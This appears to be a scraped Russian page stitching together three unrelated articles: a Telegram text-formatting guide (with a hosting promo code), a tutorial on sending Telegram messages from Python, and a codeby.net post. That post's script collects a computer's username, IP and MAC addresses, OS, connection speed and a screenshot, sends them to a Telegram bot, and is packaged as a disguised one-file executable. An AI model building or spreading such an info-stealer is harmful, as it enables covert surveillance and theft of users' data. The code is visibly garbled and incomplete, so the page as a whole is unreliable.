Небольшой обзор того, как работает разметка в telegram, как стилизовать текст при помощи markdown и html.
6498 просмотров
Разметку с помощью контекстного меню рассматривать тоже не буду. О ней вы скорее всего все знаете и пользуетесь постоянно. На всякий случай оставлю скриншот как пример:
стилизация с помощью контекстного меню
В конце статьи также приведен список горячих клавиш.
Почти все тоже самое можно сделать быстрее с помощью специальных символов. Если вы такой же заядлый текстер, как я, или просто любите быстро печатать, то вам будет интересно.
Markdown довольно обширный язык и в телеграм представлена лишь малая часть его возможностей. На самом деле, с его помощью вы можете писать целые статьи. Ознакомиться с синтаксисом можно по ссылке
Markdown в телеграм
Итак, заходим на официальный сайт телеграм, идем в стилизацию текста и видим поддерживаемую разметку:
стилизация с официального сайта telegram.org
Отправка сообщений в Telegram при помощи python в 2 строки кода
Однако, если просто вставить всю указанную markdown разметку в телеграм, то мы получим следующее:
Не работает курсивное начертание. Вероятно, в telegram давно не обновляли эту страницу и некоторые правила поменялись, а некоторые добавились. В стандартной разметке markdown действительно для курсива используется одна «звездочка», однако, в телеграм работает двойное подчеркивание. А с помощью || можно сделать скрытый текст, который появился относительно недавно. И вот мы получаем полный список полноценно работающих «команд»:
**сам ты жирный**
__курсив__
`код`
~~перечеркнутый~~
«`блок кода«`
||скрытый текст||
Но что со ссылками? Ссылки в разметке markdown выглядят вот так:
Однако, по умолчанию они не работают (только в telegram x для android)
Можно использовать его и для оформления текста, чтобы потом скопировать и отправить куда нам нужно уже без подписи бота.
В этом боте работает свой вариант markdown:
Все-таки для ссылки я бы использовал контекстное меню или горячие клавиши — это гораздо удобнее.
Как там HTML?
В целом, html-разметка тоже работает, но уже с другим инлайн-ботом. Нужно всего лишь написать:
И далее нужный нам текст с поддерживаемыми html-тегами. Вот их полный список:
Если вам нужен VDS в России — рекомендую sprintbox. По моему промокоду CASHGOK20 вы получите кэшбэк 20% при первом пополнении — не забудьте ввести его.
Горячие клавиши
Кому-то выделить текст и нажать сочетание клавиш будет гораздо проще и удобнее. Для таких людей я и припас этот списочек:
Для windows:
ctrl + B = Жирный
ctrl + I = Курсив
ctrl + U = Подчеркнутый
ctrl + shift + X = Перечеркнутый
ctrl + shift + M = Моноширинный (код)
ctrl + shift + N = Очистить стили
Для macos:
com + U = Ссылка
com + B = Жирный
com + I = Курсив
com + shift + U = Подчеркнутый
Программы на Python | Как отправить SMS на телефон с помощью Python
com + shift + X = Перечеркнутый
com + shift + K = Моноширинный (код)
com + shift + P = Скрытый текст
Источник: vc.ru
Отправка сообщений в Telegram при помощи Python
Представьте, что вы запустили какую-то программу, на выполнение которой требуется некоторое время, и хотите вздремнуть или что-то в этом роде. Вам нужен простой скрипт, который отправит вам сообщение, когда ваша программа закончит работу.
Реализовать функцию отправки сообщения в Telegram при помощи Python довольно просто. План действий:
- Создать Telegram-бота с помощью BotFather от Telegram
- Получить идентификатор чата
- Послать сообщение Telegram с помощью Python
Создание Telegram-бота
- Откройте приложение Telegram и найдите BotFather. Это встроенный бот Telegram, который помогает создавать пользовательские боты.
- Введите /newbot , чтобы создать нового бота.
- Дайте своему боту имя и уникальный username
- Скопируйте токен вашего нового бота Telegram
Примечание: не загружайте свой токен в интернет, так как любой пользователь с вашим токеном имеет полный контроль над вашим Telegram-ботом.
Получение идентификатора чата
В Telegram каждый чат имеет ID. Нам он нужен, чтобы отправлять в наш чат сообщения.
Отправьте своему Telegram-боту любое сообщение. После этого запустите скрипт Python, чтобы найти ID вашего чата:
import requests TOKEN = «Сюда вставьте свой токен» url = f»https://api.telegram.org/bot/getUpdates» print(requests.get(url).json())
Примечание редакции Pythonist: если у вас не установлена библиотека requests , нужно сперва ее установить:
$ python -m pip install requests
Этот скрипт вызывает функцию getUpdates , которая как бы проверяет наличие новых сообщений. Мы можем найти ID нашего чата из возвращаемого JSON (на иллюстрации выделен красным цветом).
Примечание: если вы не отправите сообщение своему Telegram-боту, результаты могут быть пустыми.
Найдя идентификатор чата, скопируйте его.
Отправка сообщения Telegram с помощью Python
Скопируйте и вставьте в следующий скрипт Python токен вашего Telegram-бота и ID чата из предыдущих двух шагов. Также напишите собственное сообщение.
import requests TOKEN = «Сюда вставьте свой токен» chat_id = «Сюда вставьте ID чата» message = «Здесь напишите свое сообщение» url = f»https://api.telegram.org/bot/sendMessage?chat_id= print(requests.get(url).json()) # Эта строка отсылает сообщение
Запустите скрипт и проверьте свой Telegram!
Источник: pythonist.ru
Статья Python — собираем и отправляем данные в Telegram
Приветствую всех у кого есть время читать данный контент. Совсем недавно, еще в этом месяце меня посетила очень интересная идея. Сколько информации о системе можно собрать используя Python? Многие начнут размышлять и вывод будет достаточно большим, ведь собрать можно многое.
Начиная от обычного название системы и заканчивая IP и MAC адресом (кстати как это собрать я тоже покажу). Поэтому, чтобы не оставлять данную идею в «мечтах» я принялся за ее реализацию. Приступим.
Подайте мне код!
Прежде всего любое написание программ начинается с импорта библиотек. Лично я использую для написания данного когда PyCharm. Надеюсь установить данную IDE у вас не составит проблем. Открываем программу, создаем новый файл и пишем:
import getpass import os import socket import sys from datetime import datetime, timezone from uuid import getnode as get_mac import pyautogui from speedtest import Speedtest import telebot from PIL import Image
Если у вас пишет ошибку при импорте библиотек то нажав на значок ошибки и выбрав функцию на скриншоте нужные компоненты установятся самостоятельно (объяснение для тех, кто не работал в данной среде):
Продолжаем писать наш код, а именно подключим Telegram бота, который будет отправлять нам наши данные.
bot = telebot.TeleBot(«здесь токен бота»)
Объяснение в том, как создать самого бота не требуются, поэтому давайте назначим наши переменные, что будут собирать информацию для нас:
start = datetime.now() # Засекает время работы (у всех оно разное) name = getpass.getuser() # Узнаем имя пользователя в системе ip = socket.gethostbyname(socket.getfqdn()) # Берем ip-адрес mac = get_mac() # Собираем MAC адрес ost = sys.platform inet = Speedtest() # Узнаем скорость интернет-соединения download = float(str(inet.download())[0:2] + «.» + str(round(inet.download(), 2))[1]) * 0.125 uploads = float(str(inet.upload())[0:2] + «.» + str(round(inet.download(), 2))[1]) * 0.125 time = datetime.now(timezone.utc).astimezone() # Точное время дает os.getcwd() # Смотрим операционную систему os.chdir(r» «) # В скобочках расположения для временного хранения данных screen = pyautogui.screenshot(«screenshot.jpg») # Скриншот ends = datetime.now() # Завершает нарутку времени workspeed = format(ends — start) os.getcwd() os.chdir(r» «) if ost == «win32»: ost = str(«Windows») elif ost == «linux»: ost = str(«Linux») elif ost == «darwin»: ost = str(«Mac OS») else: pass
Комментарии к коду я оставил, поэтому особого времени на объяснения уделять не стану (если есть вопрос или не работает код пиши в комменты). А вот теперь сама суть, отправка данных и их запись, ведь здесь возникало много проблем. Создадим txt файл для записи наших данных:
file = open(«info.txt», «w») # Создаем и открываем file.write(f'[================================================]n Operating System: n Username: n IP adress: n MAC adress: n Timezone: n Work speed: n[================================================]’) file.close() # Записываем и закрываем
Отлично! Данные сохранены, теперь остается их отправить. В чем же проблема? Изначально она заключалось в открытии и закрытии сессии telegram-бота.
Ведь установить соединение было легко, а создать автоматическое закрытие после отправки проблематично. Но итоги полноценной работы вы можете видеть ниже:
Да, вот таким необычным способом мы отправляем наши данные. Но, чтобы они дошли перед тем как запустить наш готовый файл требуется отправить боту команду /start. Иначе он не поймет куда отправлять все это добро. Теперь тестируем работу нашей программы. Ошибок никаких быть не должно если все импортировано и вы используете Python 3.8 и выше (на этих версиях писался весь код).
Чтобы собрать наш готовый файл, открываем консоль и пишем:
pip install pyinstaller
pyinstaller -i путь до иконки —onefile имя_файла.py
Готово! Теперь запускаем наше добро и любуемся результатом.
В этой статье я показал то, как собрать информацию о системе используя язык Python. Так же полноценные труды данной работы вы можете оценить на моем Github’е. Надеюсь данный код принесет вам пользу в сборе и анализе данных.
Весь код программы:
Источник: codeby.net